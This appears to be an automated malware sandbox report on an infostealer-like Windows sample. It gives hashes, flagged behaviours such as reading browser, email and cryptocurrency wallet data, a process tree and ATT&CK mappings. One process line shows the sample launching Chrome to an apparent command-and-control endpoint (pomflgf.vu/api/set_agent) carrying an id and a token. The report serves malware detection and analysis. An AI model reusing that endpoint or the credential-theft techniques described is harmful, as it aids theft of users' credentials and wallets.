Analysis
- max time kernel
149s - max time network
150s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
01/06/2026, 17:11
Behavioral task
behavioral1
Sample
tmp57yyn06t.exe
Resource
win10ltsc2021-20260513-en
Behavioral task
behavioral2
Sample
tmp57yyn06t.exe
Resource
win10v2004-20260513-en
General
- Target tmp57yyn06t.exe
- Size 337KB
- Sample260601-vqpp5acy5m
- SHA256 aa95b0b984dce56dcf8d9e9fabaa6a251b4a80cd7e344b3740d5934596f2e0fa
- MD5 52a4fd8b839a44f7fa527e53327ed1ad
- SHA1 f4e122124068d7d0f32957ff62a28fc75570919c
- SHA512 0a369d8fcefbcf303fa811254a6f61fc7a2fb65a07c3b9e73cf13a065d3099fe16061b7bc495ed9a2cce549a496ae10ce6d936708b5aed3a1ab96743b6c8d577
- SSDEEP 6144:XvgEeOcmwvEL7fF1jTA659HSC8AVtZ5XlOHaoIhEFydskut:/8OcZ07bf0OtDlOHaoInds9t
- TLSH T1CB747B86E7BB54B0D58B0938259FB33BDF3416294328CEC7DBF0DA4479672E21536A06
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SystemTemp chrome.exe - System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language tmp57yyn06t.exe - System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
pid Process 2372 chrome.exe - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe - Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry chrome.exe Set value (int) \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134248075577968389" chrome.exe - Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1636999435-3883760687-346127294-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\ chrome.exe - Suspicious behavior: EnumeratesProcesses 14 IoCs
pid Process 5024 tmp57yyn06t.exe 5024 tmp57yyn06t.exe 5024 tmp57yyn06t.exe 5024 tmp57yyn06t.exe 488 chrome.exe 488 chrome.exe 5024 tmp57yyn06t.exe 5024 tmp57yyn06t.exe 5024 tmp57yyn06t.exe 5024 tmp57yyn06t.exe 5024 tmp57yyn06t.exe 5024 tmp57yyn06t.exe 5024 tmp57yyn06t.exe 5024 tmp57yyn06t.exe - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs
pid Process 488 chrome.exe 488 chrome.exe 488 chrome.exe - Suspicious use of AdjustPrivilegeToken 10 IoCs
description pid Process Token: SeShutdownPrivilege 488 chrome.exe Token: SeCreatePagefilePrivilege 488 chrome.exe Token: SeShutdownPrivilege 488 chrome.exe Token: SeCreatePagefilePrivilege 488 chrome.exe Token: SeShutdownPrivilege 488 chrome.exe Token: SeCreatePagefilePrivilege 488 chrome.exe Token: SeShutdownPrivilege 488 chrome.exe Token: SeCreatePagefilePrivilege 488 chrome.exe Token: SeShutdownPrivilege 488 chrome.exe Token: SeCreatePagefilePrivilege 488 chrome.exe - Suspicious use of FindShellTrayWindow 34 IoCs
pid Process 488 chrome.exe 488 chrome.exe 488 chrome.exe 488 chrome.exe 488 chrome.exe 488 chrome.exe 488 chrome.exe 488 chrome.exe 488 chrome.exe 488 chrome.exe 488 chrome.exe 488 chrome.exe 488 chrome.exe 488 chrome.exe 488 chrome.exe 488 chrome.exe 488 chrome.exe 488 chrome.exe 488 chrome.exe 488 chrome.exe 488 chrome.exe 488 chrome.exe 488 chrome.exe 488 chrome.exe 488 chrome.exe 488 chrome.exe 488 chrome.exe 488 chrome.exe 488 chrome.exe 488 chrome.exe 488 chrome.exe 488 chrome.exe 488 chrome.exe 488 chrome.exe - Suspicious use of WriteProcessMemory 14 IoCs
description pid Process procid_target PID 5024 wrote to memory of 488 5024 tmp57yyn06t.exe 81 PID 488 wrote to memory of 4720 488 chrome.exe 82 PID 488 wrote to memory of 4704 488 chrome.exe 83 PID 488 wrote to memory of 4704 488 chrome.exe 83 PID 488 wrote to memory of 2372 488 chrome.exe 84 PID 488 wrote to memory of 1512 488 chrome.exe 85 PID 488 wrote to memory of 1512 488 chrome.exe 85 PID 488 wrote to memory of 5096 488 chrome.exe 86 PID 488 wrote to memory of 5096 488 chrome.exe 86 PID 488 wrote to memory of 2484 488 chrome.exe 87 PID 488 wrote to memory of 2484 488 chrome.exe 87 PID 488 wrote to memory of 1760 488 chrome.exe 89 PID 488 wrote to memory of 1760 488 chrome.exe 89 PID 488 wrote to memory of 4472 488 chrome.exe 90
Processes
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C:\Users\Admin\AppData\Local\Temp\tmp57yyn06t.exe"C:\Users\Admin\AppData\Local\Temp\tmp57yyn06t.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5024 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" pomflgf.vu/api/set_agent?id=D3A3B6EBBD24956701AEC7B30ADF174C&token=60f57c04dc13a4ba92acdbc01dc8b345dd&description=0d5b0d6e95037f7d0d4d809554f3b6d0&agent=Chrome2⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:488 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffceac4c728,0x7ffceac4c734,0x7ffceac4c7403⤵PID:4720
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1632,i,6102020158221883266,9191013350150521416,262144 --field-trial-handle=1956,i,6330000999883204468,8787600094470838600,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=1988 /prefetch:23⤵PID:4704
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1460,i,5007373297993691955,8839463890824302166,524288 --field-trial-handle=1956,i,6330000999883204468,8787600094470838600,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=2248 /prefetch:113⤵
- System Time Discovery
PID:2372
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2372,i,10946367569538837610,683800000995006014,524288 --field-trial-handle=1956,i,6330000999883204468,8787600094470838600,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=2796 /prefetch:133⤵PID:1512
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3164,i,12894201150830722559,8985971651519724810,2097152 --field-trial-handle=1956,i,6330000999883204468,8787600094470838600,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=3192 /prefetch:13⤵PID:5096
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3184,i,17857208693313916089,18116780526902423615,2097152 --field-trial-handle=1956,i,6330000999883204468,8787600094470838600,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=3212 /prefetch:13⤵PID:2484
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4228,i,7447493858909029844,18004893468523954260,2097152 --field-trial-handle=1956,i,6330000999883204468,8787600094470838600,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=4232 /prefetch:93⤵PID:1760
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5232,i,11357265546564468851,15466184679772938343,524288 --field-trial-handle=1956,i,6330000999883204468,8787600094470838600,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=5256 /prefetch:143⤵PID:4472
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C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵PID:3156
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵PID:4336
Network
MITRE ATT&CK Enterprise v16
Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
3Credentials In Files
3Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
- Size 6B
- SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
- MD5 377d072e137022223a370760763420bb
- SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
- SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
- Size 649B
- SHA256 8f91f40bf6cc334f292ece561f37ee1621b93279540743207c894956b0622b8d
- MD5 3aeb5b59234c368172fe0c9c55a8d117
- SHA1 722b25d9f7b632ef55e125e94d5dcd368d0a7854
- SHA512 d769568272838497a3f873889eb59eb68dbd23129aad9a53f8dcb586617e5053d5684a218cb6f9e2e65ff3049b29e1a80db25febb8feae7a301a38395d7bb076
- TLSH T14EF0D1AACD21AC3B08FD172920641B46F750136B3B804D9F3A3D960D8FB063F418586C
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
- Size 2B
- SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
- MD5 d751713988987e9331980363e24189ce
- SHA1 97d170e1550eee4afc0af065b78cda302a97674c
- SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
- Size 138KB
- SHA256 178c6c3f1f26af99346dd4167531042d3a6760e6ae3da1440ccd93b5afb67f5a
- MD5 9b8db605a32f02c71a25cfa3d62300ff
- SHA1 13b08b599c89af7640d096daccc6c5751f2f65e3
- SHA512 170aa7ec2dfa37575d8471472f9b96bbfc4941271bdea6b38f47551bc924081d9656542b6a0086da782a442d9ef94b82ec8d6ff283d0643538eda38ea2a74c34
- SSDEEP 384:jeuvBnhJsueMEGvIW1DcP2OzUdgaVumrLnPto:1nbZeMrv/hGtzUGSLnW
- TLSH T12FD3874B3A743102DDE69A721CE054BB5E3CB16D8F51A5D428B620588EF2963A23D4FF
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last Version
- Size 13B
- SHA256 e5efa9eb104cd0b25149c2e789bec8d9aa4ba95678831b657eef7780a281c391
- MD5 43ef949d3c6e9956545979ace65d0085
- SHA1 63f2b2de8727854597e49a1216e8e74c68117c07
- SHA512 313a5ab7ac9b5efd955beba4615784bdc2a9058ddaa804d85fb2d0c651dd3de07e382d61a1bb482499520a80e0b64c004ff2af03459cbc1daef47f540f0a6905
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 115KB
- SHA256 18024a1a678e7efc99eea4ce05322e2dddb62aaefc206ca6c0b3c3c1346492f6
- MD5 3fa6e549f15d7ecfc0bcacbbc204eea3
- SHA1 66dd16f391ebaf2af1e474749ac57d8cf960fbcf
- SHA512 78ed93d07daea3bc5f41274f0d65c996d5b877ca7a2f60f97ecba93b87c25bd01f4d553a2310598351f2005c2ec9c171652ba38398e3ee83467bc34b3a5e8060
- SSDEEP 3072:x8uwLcXcgVXruSixWgL0rF6jh9JDvexqw/w5nP:HwCcmXKegIh6jh9JvexhQ
- TLSH T157B3125A29273DA688BC6EB37457338286A353A26C05F14E90CCDF0B45DDDB415EF8B4
- MD5 SHA1 SHA512 SSDEEP TLSH